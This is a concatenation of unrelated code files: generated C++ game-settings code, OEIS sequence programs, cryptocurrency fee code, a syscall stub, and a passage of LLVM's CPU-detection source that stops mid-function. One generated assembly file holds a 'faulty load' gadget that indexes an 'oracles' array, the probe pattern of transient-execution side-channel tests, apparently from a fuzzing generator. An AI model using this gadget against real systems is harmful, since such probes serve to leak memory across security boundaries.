#endif
#ifndef INCLUDED_openfl_events_EventDispatcher
#include <openfl/events/EventDispatcher.h>
#endif
#ifndef INCLUDED_openfl_events_IEventDispatcher
#include <openfl/events/IEventDispatcher.h>
#endif
HX_LOCAL_STACK_FRAME(_hx_pos_fa146bb3dc6eaa33_8_initSave,"KadeEngineData","initSave",0xa0157798,"KadeEngineData.initSave","KadeEngineData.hx",8,0xb03595fb)
void KadeEngineData_obj::__construct() { }
Dynamic KadeEngineData_obj::__CreateEmpty() { return new KadeEngineData_obj; }
void *KadeEngineData_obj::_hx_vtable = 0;
Dynamic KadeEngineData_obj::__Create(::hx::DynamicArray inArgs)
{
::hx::ObjectPtr< KadeEngineData_obj > _hx_result = new KadeEngineData_obj();
_hx_result->__construct();
return _hx_result;
}
bool KadeEngineData_obj::_hx_isInstanceOf(int inClassId) {
return inClassId==(int)0x00000001 || inClassId==(int)0x0703882b;
}
void KadeEngineData_obj::initSave(){
HX_STACKFRAME(&_hx_pos_fa146bb3dc6eaa33_8_initSave)
HXLINE( 9) if (::hx::IsNull( ::flixel::FlxG_obj::save->data->__Field(HX_("language",58,80,11,7a),::hx::paccDynamic) )) {
HXLINE( 10) ::flixel::FlxG_obj::save->data->__SetField(HX_("language",58,80,11,7a),HX_("en-US",02,7f,50,70),::hx::paccDynamic);
}
HXLINE( 12) if (::hx::IsNull( ::flixel::FlxG_obj::save->data->__Field(HX_("weekUnlocked",37,64,c4,a5),::hx::paccDynamic) )) {
HXLINE( 13) ::flixel::FlxG_obj::save->data->__SetField(HX_("weekUnlocked",37,64,c4,a5),1,::hx::paccDynamic);
}
HXLINE( 15) if (::hx::IsNull( ::flixel::FlxG_obj::save->data->__Field(HX_("newInput",8a,07,68,e1),::hx::paccDynamic) )) {
HXLINE( 16) ::flixel::FlxG_obj::save->data->__SetField(HX_("newInput",8a,07,68,e1),true,::hx::paccDynamic);
}
HXLINE( 18) if (::hx::IsNull( ::flixel::FlxG_obj::save->data->__Field(HX_("downscroll",ef,45,d4,4f),::hx::paccDynamic) )) {
HXLINE( 19) ::flixel::FlxG_obj::save->data->__SetField(HX_("downscroll",ef,45,d4,4f),false,::hx::paccDynamic);
}
HXLINE( 21) if (::hx::IsNull( ::flixel::FlxG_obj::save->data->__Field(HX_("dfjk",c3,18,67,42),::hx::paccDynamic) )) {
HXLINE( 22) ::flixel::FlxG_obj::save->data->__SetField(HX_("dfjk",c3,18,67,42),false,::hx::paccDynamic);
}
HXLINE( 24) if (::hx::IsNull( ::flixel::FlxG_obj::save->data->__Field(HX_("accuracyDisplay",09,75,5e,26),::hx::paccDynamic) )) {
HXLINE( 25) ::flixel::FlxG_obj::save->data->__SetField(HX_("accuracyDisplay",09,75,5e,26),true,::hx::paccDynamic);
}
HXLINE( 27) if (::hx::IsNull( ::flixel::FlxG_obj::save->data->__Field(HX_("offset",93,97,3f,60),::hx::paccDynamic) )) {
HXLINE( 28) ::flixel::FlxG_obj::save->data->__SetField(HX_("offset",93,97,3f,60),0,::hx::paccDynamic);
}
HXLINE( 30) if (::hx::IsNull( ::flixel::FlxG_obj::save->data->__Field(HX_("songPosition",9e,dd,3b,8d),::hx::paccDynamic) )) {
HXLINE( 31) ::flixel::FlxG_obj::save->data->__SetField(HX_("songPosition",9e,dd,3b,8d),false,::hx::paccDynamic);
}
HXLINE( 33) if (::hx::IsNull( ::flixel::FlxG_obj::save->data->__Field(HX_("fps",e9,c7,4d,00),::hx::paccDynamic) )) {
HXLINE( 34) ::flixel::FlxG_obj::save->data->__SetField(HX_("fps",e9,c7,4d,00),false,::hx::paccDynamic);
}
HXLINE( 36) if (::hx::IsNull( ::flixel::FlxG_obj::save->data->__Field(HX_("changedHit",bf,5d,c0,31),::hx::paccDynamic) )) {
HXLINE( 38) ::flixel::FlxG_obj::save->data->__SetField(HX_("changedHitX",b9,a9,91,56),-1,::hx::paccDynamic);
HXLINE( 39) ::flixel::FlxG_obj::save->data->__SetField(HX_("changedHitY",ba,a9,91,56),-1,::hx::paccDynamic);
HXLINE( 40) ::flixel::FlxG_obj::save->data->__SetField(HX_("changedHit",bf,5d,c0,31),false,::hx::paccDynamic);
}
HXLINE( 43) if (::hx::IsNull( ::flixel::FlxG_obj::save->data->__Field(HX_("fpsRain",dd,e5,17,c7),::hx::paccDynamic) )) {
HXLINE( 44) ::flixel::FlxG_obj::save->data->__SetField(HX_("fpsRain",dd,e5,17,c7),false,::hx::paccDynamic);
}
HXLINE( 46) if (::hx::IsNull( ::flixel::FlxG_obj::save->data->__Field(HX_("fpsCap",a9,7b,7e,91),::hx::paccDynamic) )) {
HXLINE( 47) ::flixel::FlxG_obj::save->data->__SetField(HX_("fpsCap",a9,7b,7e,91),120,::hx::paccDynamic);
}
HXLINE( 49) bool _hx_tmp;
HXDLIN( 49) if (!(::hx::IsGreater( ::flixel::FlxG_obj::save->data->__Field(HX_("fpsCap",a9,7b,7e,91),::hx::paccDynamic),285 ))) {
HXLINE( 49) _hx_tmp = ::hx::IsLess( ::flixel::FlxG_obj::save->data->__Field(HX_("fpsCap",a9,7b,7e,91),::hx::paccDynamic),60 );
}
else {
HXLINE( 49) _hx_tmp = true;
}
HXDLIN( 49) if (_hx_tmp) {
HXLINE( 50) ::flixel::FlxG_obj::save->data->__SetField(HX_("fpsCap",a9,7b,7e,91),120,::hx::paccDynamic);
}
HXLINE( 52) if (::hx::IsNull( ::flixel::FlxG_obj::save->data->__Field(HX_("scrollSpeed",3a,e0,46,cb),::hx::paccDynamic) )) {
HXLINE( 53) ::flixel::FlxG_obj::save->data->__SetField(HX_("scrollSpeed",3a,e0,46,cb),1,::hx::paccDynamic);
}
HXLINE( 55) if (::hx::IsNull( ::flixel::FlxG_obj::save->data->__Field(HX_("npsDisplay",51,08,e2,23),::hx::paccDynamic) )) {
HXLINE( 56) ::flixel::FlxG_obj::save->data->__SetField(HX_("npsDisplay",51,08,e2,23),false,::hx::paccDynamic);
}
HXLINE( 58) if (::hx::IsNull( ::flixel::FlxG_obj::save->data->__Field(HX_("frames",a6,af,85,ac),::hx::paccDynamic) )) {
HXLINE( 59) ::flixel::FlxG_obj::save->data->__SetField(HX_("frames",a6,af,85,ac),10,::hx::paccDynamic);
}
HXLINE( 61) if (::hx::IsNull( ::flixel::FlxG_obj::save->data->__Field(HX_("accuracyMod",09,b2,8a,86),::hx::paccDynamic) )) {
HXLINE( 62) ::flixel::FlxG_obj::save->data->__SetField(HX_("accuracyMod",09,b2,8a,86),1,::hx::paccDynamic);
}
HXLINE( 64) if (::hx::IsNull( ::flixel::FlxG_obj::save->data->__Field(HX_("watermark",a4,af,1e,e0),::hx::paccDynamic) )) {
HXLINE( 65) ::flixel::FlxG_obj::save->data->__SetField(HX_("watermark",a4,af,1e,e0),true,::hx::paccDynamic);
}
HXLINE( 67) if (::hx::IsNull( ::flixel::FlxG_obj::save->data->__Field(HX_("ghost",4f,8f,58,93),::hx::paccDynamic) )) {
HXLINE( 68) ::flixel::FlxG_obj::save->data->__SetField(HX_("ghost",4f,8f,58,93),true,::hx::paccDynamic);
}
HXLINE( 70) if (::hx::IsNull( ::flixel::FlxG_obj::save->data->__Field(HX_("distractions",31,13,7d,60),::hx::paccDynamic) )) {
HXLINE( 71) ::flixel::FlxG_obj::save->data->__SetField(HX_("distractions",31,13,7d,60),true,::hx::paccDynamic);
}
HXLINE( 73) if (::hx::IsNull( ::flixel::FlxG_obj::save->data->__Field(HX_("flashing",32,85,e8,99),::hx::paccDynamic) )) {
HXLINE( 74) ::flixel::FlxG_obj::save->data->__SetField(HX_("flashing",32,85,e8,99),true,::hx::paccDynamic);
}
HXLINE( 76) if (::hx::IsNull( ::flixel::FlxG_obj::save->data->__Field(HX_("resetButton",21,e5,f4,79),::hx::paccDynamic) )) {
HXLINE( 77) ::flixel::FlxG_obj::save->data->__SetField(HX_("resetButton",21,e5,f4,79),false,::hx::paccDynamic);
}
HXLINE( 79) if (::hx::IsNull( ::flixel::FlxG_obj::save->data->__Field(HX_("botplay",7b,fb,a9,61),::hx::paccDynamic) )) {
HXLINE( 80) ::flixel::FlxG_obj::save->data->__SetField(HX_("botplay",7b,fb,a9,61),false,::hx::paccDynamic);
}
HXLINE( 82) if (::hx::IsNull( ::flixel::FlxG_obj::save->data->__Field(HX_("gfCountdown",92,1a,b1,82),::hx::paccDynamic) )) {
HXLINE( 83) ::flixel::FlxG_obj::save->data->__SetField(HX_("gfCountdown",92,1a,b1,82),false,::hx::paccDynamic);
}
HXLINE( 85) if (::hx::IsNull( ::flixel::FlxG_obj::save->data->__Field(HX_("zoom",13,a3,f8,50),::hx::paccDynamic) )) {
HXLINE( 86) ::flixel::FlxG_obj::save->data->__SetField(HX_("zoom",13,a3,f8,50),1,::hx::paccDynamic);
}
HXLINE( 88) if (::hx::IsNull( ::flixel::FlxG_obj::save->data->__Field(HX_("cacheCharacters",8c,1d,70,34),::hx::paccDynamic) )) {
HXLINE( 89) ::flixel::FlxG_obj::save->data->__SetField(HX_("cacheCharacters",8c,1d,70,34),false,::hx::paccDynamic);
}
HXLINE( 91) if (::hx::IsNull( ::flixel::FlxG_obj::save->data->__Field(HX_("cacheSongs",5c,9d,7f,c3),::hx::paccDynamic) )) {
HXLINE( 92) ::flixel::FlxG_obj::save->data->__SetField(HX_("cacheSongs",5c,9d,7f,c3),false,::hx::paccDynamic);
}
HXLINE( 94) if (::hx::IsNull( ::flixel::FlxG_obj::save->data->__Field(HX_("cacheMusic",03,37,13,53),::hx::paccDynamic) )) {
HXLINE( 95) ::flixel::FlxG_obj::save->data->__SetField(HX_("cacheMusic",03,37,13,53),false,::hx::paccDynamic);
}
HXLINE( 97) if (::hx::IsNull( ::flixel::FlxG_obj::save->data->__Field(HX_("cacheSounds",a6,d4,cf,50),::hx::paccDynamic) )) {
HXLINE( 98) ::flixel::FlxG_obj::save->data->__SetField(HX_("cacheSounds",a6,d4,cf,50),false,::hx::paccDynamic);
}
HXLINE( 100) if (::hx::IsNull( ::flixel::FlxG_obj::save->data->__Field(HX_("middleScroll",42,cd,58,62),::hx::paccDynamic) )) {
HXLINE( 101) ::flixel::FlxG_obj::save->data->__SetField(HX_("middleScroll",42,cd,58,62),false,::hx::paccDynamic);
}
HXLINE( 103) if (::hx::IsNull( ::flixel::FlxG_obj::save->data->__Field(HX_("laneUnderlay",58,04,15,b5),::hx::paccDynamic) )) {
HXLINE( 104) ::flixel::FlxG_obj::save->data->__SetField(HX_("laneUnderlay",58,04,15,b5),false,::hx::paccDynamic);
}
HXLINE( 106) if (::hx::IsNull( ::flixel::FlxG_obj::save->data->__Field(HX_("laneTransparency",24,32,52,af),::hx::paccDynamic) )) {
HXLINE( 107) ::flixel::FlxG_obj::save->data->__SetField(HX_("laneTransparency",24,32,52,af),((Float)0.5),::hx::paccDynamic);
}
HXLINE( 109) if (::hx::IsNull( ::flixel::FlxG_obj::save->data->__Field(HX_("selfAware",f2,2f,cc,62),::hx::paccDynamic) )) {
HXLINE( 110) ::flixel::FlxG_obj::save->data->__SetField(HX_("selfAware",f2,2f,cc,62),true,::hx::paccDynamic);
}
HXLINE( 112) ::flixel::input::gamepad::FlxGamepad gamepad = ::flixel::FlxG_obj::gamepads->lastActive;
HXLINE( 114) ::KeyBinds_obj::gamepad = ::hx::IsNotNull( gamepad );
HXLINE( 116) ::Conductor_obj::recalculateTimings();
HXLINE( 118) ::Main_obj::watermarks = ( (bool)(::flixel::FlxG_obj::save->data->__Field(HX_("watermark",a4,af,1e,e0),::hx::paccDynamic)) );
HXLINE( 120) ::hx::TCast< ::Main >::cast(::openfl::Lib_obj::get_current()->getChildAt(0))->setFPSCap(( (Float)(::flixel::FlxG_obj::save->data->__Field(HX_("fpsCap",a9,7b,7e,91),::hx::paccDynamic)) ));
}
STATIC_HX_DEFINE_DYNAMIC_FUNC0(KadeEngineData_obj,initSave,(void))
KadeEngineData_obj::KadeEngineData_obj()
{
}
bool KadeEngineData_obj::__GetStatic(const ::String &inName, Dynamic &outValue, ::hx::PropertyAccess inCallProp)
{
switch(inName.length) {
case 8:
if (HX_FIELD_EQ(inName,"initSave") ) { outValue = initSave_dyn(); return true; }
}
return false;
}
#ifdef HXCPP_SCRIPTABLE
static ::hx::StorageInfo *KadeEngineData_obj_sMemberStorageInfo = 0;
static ::hx::StaticInfo *KadeEngineData_obj_sStaticStorageInfo = 0;
#endif
::hx::Class KadeEngineData_obj::__mClass;
static ::String KadeEngineData_obj_sStaticFields[] = {
HX_("initSave",6d,ba,04,51),
::String(null())
};
void KadeEngineData_obj::__register()
{
KadeEngineData_obj _hx_dummy;
KadeEngineData_obj::_hx_vtable = *(void **)&_hx_dummy;
::hx::Static(__mClass) = new ::hx::Class_obj();
__mClass->mName = HX_("KadeEngineData",a3,f4,9b,d6);
__mClass->mSuper = &super::__SGetClass();
__mClass->mConstructEmpty = &__CreateEmpty;
__mClass->mConstructArgs = &__Create;
__mClass->mGetStaticField = &KadeEngineData_obj::__GetStatic;
__mClass->mSetStaticField = &::hx::Class_obj::SetNoStaticField;
__mClass->mStatics = ::hx::Class_obj::dupFunctions(KadeEngineData_obj_sStaticFields);
__mClass->mMembers = ::hx::Class_obj::dupFunctions(0 /* sMemberFields */);
__mClass->mCanCast = ::hx::TCanCast< KadeEngineData_obj >;
#ifdef HXCPP_SCRIPTABLE
__mClass->mMemberStorageInfo = KadeEngineData_obj_sMemberStorageInfo;
#endif
#ifdef HXCPP_SCRIPTABLE
__mClass->mStaticStorageInfo = KadeEngineData_obj_sStaticStorageInfo;
#endif
::hx::_hx_RegisterClass(__mClass->mName, __mClass);
}
|
; A085275: Sum of n-th composite number and its largest prime divisor.
; 6,9,10,12,15,15,21,20,18,21,25,28,33,27,30,39,30,35,35,34,44,51,42,39,57,52,45,49,55,50,69,51,56,55,68,65,57,66,63,76,87,65,93,70,66,78,77,85,92,77,75,111,80,95,88,91,85,84,123,91,102,129,116,99,95,104,115,124
seq $0,72668 ; Numbers one less than composite numbers.
mov $2,$0
lpb $0
seq $0,6530 ; Gpf(n): greatest prime dividing n, for n >= 2; a(1)=1.
sub $0,1
lpe
add $0,$2
add $0,2
|
// Copyright (c) 2009-2010 Satoshi Nakamoto
// Copyright (c) 2009-2014 The Bitcoin developers
// Copyright (c) 2017 The PIVX developers
// Copyright (c) 2019 The BitCoin ONE developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "amount.h"
#include "tinyformat.h"
CFeeRate::CFeeRate(const CAmount& nFeePaid, size_t nSize)
{
if (nSize > 0)
nSatoshisPerK = nFeePaid * 1000 / nSize;
else
nSatoshisPerK = 0;
}
CAmount CFeeRate::GetFee(size_t nSize) const
{
CAmount nFee = nSatoshisPerK * nSize / 1000;
if (nFee == 0 && nSatoshisPerK > 0)
nFee = nSatoshisPerK;
return nFee;
}
std::string CFeeRate::ToString() const
{
return strprintf("%d.%08d BTCONE/kB", nSatoshisPerK / COIN, nSatoshisPerK % COIN);
}
|
;
; Copyright 2018-2021 Mahdi Khanalizadeh
;
; Licensed under the Apache License, Version 2.0 (the "License");
; you may not use this file except in compliance with the License.
; You may obtain a copy of the License at
;
; http://www.apache.org/licenses/LICENSE-2.0
;
; Unless required by applicable law or agreed to in writing, software
; distributed under the License is distributed on an "AS IS" BASIS,
; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
; See the License for the specific language governing permissions and
; limitations under the License.
;
BITS 64
GLOBAL linux_exit_group
linux_exit_group:
mov rax, 231
syscall
|
; A175074: Nonprimes b with result 1 under iterations of {r mod (max prime p < r)} starting at r = b.
; 1,4,6,8,10,12,14,16,18,20,22,24,26,27,30,32,34,35,38,40,42,44,46,48,50,51,54,56,57,60,62,64,65,68,70,72,74,76,77,80,82,84,86,87,90,92,93,95,98,100,102
mov $4,$0
mul $0,2
lpb $0
mov $1,$0
cal $1,7917 ; Version 1 of the "previous prime" function: largest prime <= n.
mul $0,2
sub $0,2
sub $0,$1
mov $2,1
lpe
mov $1,$2
add $1,1
mov $3,$4
mul $3,2
add $1,$3
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r15
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x251c, %rsi
nop
nop
nop
sub %r15, %r15
movl $0x61626364, (%rsi)
nop
dec %rbp
lea addresses_normal_ht+0xe23a, %rsi
lea addresses_normal_ht+0xed0a, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
and %rdx, %rdx
mov $95, %rcx
rep movsb
nop
nop
nop
sub %r15, %r15
lea addresses_D_ht+0x110a, %rbp
nop
nop
nop
and $50051, %rdx
mov (%rbp), %r15
nop
and $42600, %rdx
lea addresses_normal_ht+0xae01, %rsi
lea addresses_D_ht+0x8f0a, %rdi
clflush (%rdi)
nop
cmp %r12, %r12
mov $32, %rcx
rep movsb
nop
nop
sub %r15, %r15
lea addresses_WC_ht+0x1cd0a, %rsi
lea addresses_WC_ht+0x1a2dc, %rdi
sub %rbp, %rbp
mov $119, %rcx
rep movsb
dec %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r15
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r15
push %r8
push %rbp
push %rcx
push %rdx
// Faulty Load
lea addresses_UC+0xe50a, %rbp
cmp $18903, %rcx
mov (%rbp), %r15w
lea oracles, %rdx
and $0xff, %r15
shlq $12, %r15
mov (%rdx,%r15,1), %r15
pop %rdx
pop %rcx
pop %rbp
pop %r8
pop %r15
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_UC', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_UC', 'AVXalign': False, 'size': 2, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 1}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}}
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 8, 'NT': True, 'same': False, 'congruent': 9}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}}
{'37': 21829}
37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37
*/
|
; A001812: Coefficients of Laguerre polynomials.
; 1,36,882,18816,381024,7620480,153679680,3161410560,66784798080,1454424491520,32724551059200,761589551923200,18341615042150400,457129482588979200,11787410229615820800,314330939456421888000,8663746518767628288000,246661959710796005376000,7249120927056171491328000,219762823893913409421312000,6867588246684794044416000000,221070935940900989239296000000,7325486922768946416156672000000,249703554236993651750731776000000,8750028713054652546765225984000000,315001033669967491683548135424000000
mov $1,$0
add $1,5
mov $0,$1
bin $0,5
lpb $1
mul $0,$1
sub $1,1
lpe
div $0,120
|
//===-- Host.cpp - Implement OS Host Concept --------------------*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file implements the operating system Host concept.
//
//===----------------------------------------------------------------------===//
#include "llvm/Support/Host.h"
#include "llvm/ADT/SmallVector.h"
#include "llvm/ADT/StringRef.h"
#include "llvm/ADT/StringSwitch.h"
#include "llvm/ADT/Triple.h"
#include "llvm/Config/config.h"
#include "llvm/Support/Debug.h"
#include "llvm/Support/FileSystem.h"
#include "llvm/Support/raw_ostream.h"
#include <string.h>
// Include the platform-specific parts of this class.
#ifdef LLVM_ON_UNIX
#include "Unix/Host.inc"
#endif
#ifdef LLVM_ON_WIN32
#include "Windows/Host.inc"
#endif
#ifdef _MSC_VER
#include <intrin.h>
#endif
#if defined(__APPLE__) && (defined(__ppc__) || defined(__powerpc__))
#include <mach/mach.h>
#include <mach/mach_host.h>
#include <mach/host_info.h>
#include <mach/machine.h>
#endif
#define DEBUG_TYPE "host-detection"
//===----------------------------------------------------------------------===//
//
// Implementations of the CPU detection routines
//
//===----------------------------------------------------------------------===//
using namespace llvm;
#if defined(__linux__)
static ssize_t LLVM_ATTRIBUTE_UNUSED readCpuInfo(void *Buf, size_t Size) {
// Note: We cannot mmap /proc/cpuinfo here and then process the resulting
// memory buffer because the 'file' has 0 size (it can be read from only
// as a stream).
int FD;
std::error_code EC = sys::fs::openFileForRead("/proc/cpuinfo", FD);
if (EC) {
DEBUG(dbgs() << "Unable to open /proc/cpuinfo: " << EC.message() << "\n");
return -1;
}
int Ret = read(FD, Buf, Size);
int CloseStatus = close(FD);
if (CloseStatus)
return -1;
return Ret;
}
#endif
#if defined(i386) || defined(__i386__) || defined(__x86__) || defined(_M_IX86)\
|| defined(__x86_64__) || defined(_M_AMD64) || defined (_M_X64)
/// GetX86CpuIDAndInfo - Execute the specified cpuid and return the 4 values in the
/// specified arguments. If we can't run cpuid on the host, return true.
static bool GetX86CpuIDAndInfo(unsigned value, unsigned *rEAX, unsigned *rEBX,
unsigned *rECX, unsigned *rEDX) {
#if defined(__GNUC__) || defined(__clang__)
#if defined(__x86_64__) || defined(_M_AMD64) || defined (_M_X64)
// gcc doesn't know cpuid would clobber ebx/rbx. Preseve it manually.
asm ("movq\t%%rbx, %%rsi\n\t"
"cpuid\n\t"
"xchgq\t%%rbx, %%rsi\n\t"
: "=a" (*rEAX),
"=S" (*rEBX),
"=c" (*rECX),
"=d" (*rEDX)
: "a" (value));
return false;
#elif defined(i386) || defined(__i386__) || defined(__x86__) || defined(_M_IX86)
asm ("movl\t%%ebx, %%esi\n\t"
"cpuid\n\t"
"xchgl\t%%ebx, %%esi\n\t"
: "=a" (*rEAX),
"=S" (*rEBX),
"=c" (*rECX),
"=d" (*rEDX)
: "a" (value));
return false;
// pedantic #else returns to appease -Wunreachable-code (so we don't generate
// postprocessed code that looks like "return true; return false;")
#else
return true;
#endif
#elif defined(_MSC_VER)
// The MSVC intrinsic is portable across x86 and x64.
int registers[4];
__cpuid(registers, value);
*rEAX = registers[0];
*rEBX = registers[1];
*rECX = registers[2];
*rEDX = registers[3];
return false;
#else
return true;
#endif
}
/// GetX86CpuIDAndInfoEx - Execute the specified cpuid with subleaf and return the
/// 4 values in the specified arguments. If we can't run cpuid on the host,
/// return true.
static bool GetX86CpuIDAndInfoEx(unsigned value, unsigned subleaf,
unsigned *rEAX, unsigned *rEBX, unsigned *rECX,
unsigned *rEDX) {
#if defined(__x86_64__) || defined(_M_AMD64) || defined (_M_X64)
#if defined(__GNUC__)
// gcc doesn't know cpuid would clobber ebx/rbx. Preseve it manually.
asm ("movq\t%%rbx, %%rsi\n\t"
"cpuid\n\t"
"xchgq\t%%rbx, %%rsi\n\t"
: "=a" (*rEAX),
"=S" (*rEBX),
"=c" (*rECX),
"=d" (*rEDX)
: "a" (value),
"c" (subleaf));
return false;
#elif defined(_MSC_VER)
int registers[4];
__cpuidex(registers, value, subleaf);
*rEAX = registers[0];
*rEBX = registers[1];
*rECX = registers[2];
*rEDX = registers[3];
return false;
#else
return true;
#endif
#elif defined(i386) || defined(__i386__) || defined(__x86__) || defined(_M_IX86)
#if defined(__GNUC__)
asm ("movl\t%%ebx, %%esi\n\t"
"cpuid\n\t"
"xchgl\t%%ebx, %%esi\n\t"
: "=a" (*rEAX),
"=S" (*rEBX),
"=c" (*rECX),
"=d" (*rEDX)
: "a" (value),
"c" (subleaf));
return false;
#elif defined(_MSC_VER)
__asm {
mov eax,value
mov ecx,subleaf
cpuid
mov esi,rEAX
mov dword ptr [esi],eax
mov esi,rEBX
mov dword ptr [esi],ebx
mov esi,rECX
mov dword ptr [esi],ecx
mov esi,rEDX
mov dword ptr [esi],edx
}
return false;
#else
return true;
#endif
#else
return true;
#endif
}
static bool GetX86XCR0(unsigned *rEAX, unsigned *rEDX) {
#if defined(__GNUC__)
// Check xgetbv; this uses a .byte sequence instead of the instruction
// directly because older assemblers do not include support for xgetbv and
// there is no easy way to conditionally compile based on the assembler used.
__asm__ (".byte 0x0f, 0x01, 0xd0" : "=a" (*rEAX), "=d" (*rEDX) : "c" (0));
return false;
#elif defined(_MSC_FULL_VER) && defined(_XCR_XFEATURE_ENABLED_MASK)
unsigned long long Result = _xgetbv(_XCR_XFEATURE_ENABLED_MASK);
*rEAX = Result;
*rEDX = Result >> 32;
return false;
#else
return true;
#endif
}
static void DetectX86FamilyModel(unsigned EAX, unsigned &Family,
unsigned &Model) {
Family = (EAX >> 8) & 0xf; // Bits 8 - 11
Model = (EAX >> 4) & 0xf; // Bits 4 - 7
if (Family == 6 || Family == 0xf) {
if (Family == 0xf)
// Examine extended family ID if family ID is F.
Family += (EAX >> 20) & 0xff; // Bits 20 - 27
// Examine extended model ID if family ID is 6 or F.
Model += ((EAX >> 16) & 0xf) << 4; // Bits 16 - 19
}
}
StringRef sys::getHostCPUName() {
unsigned EAX = 0, EBX = 0, ECX = 0, EDX = 0;
if (GetX86CpuIDAndInfo(0x1, &EAX, &EBX, &ECX, &EDX))
return "generic";
unsigned Family = 0;
unsigned Model = 0;
DetectX86FamilyModel(EAX, Family, Model);
union {
unsigned u[3];
char c[12];
} text;
unsigned MaxLeaf;
GetX86CpuIDAndInfo(0, &MaxLeaf, text.u+0, text.u+2, text.u+1);
bool HasMMX = (EDX >> 23) & 1;
bool HasSSE = (EDX >> 25) & 1;
bool HasSSE2 = (EDX >> 26) & 1;
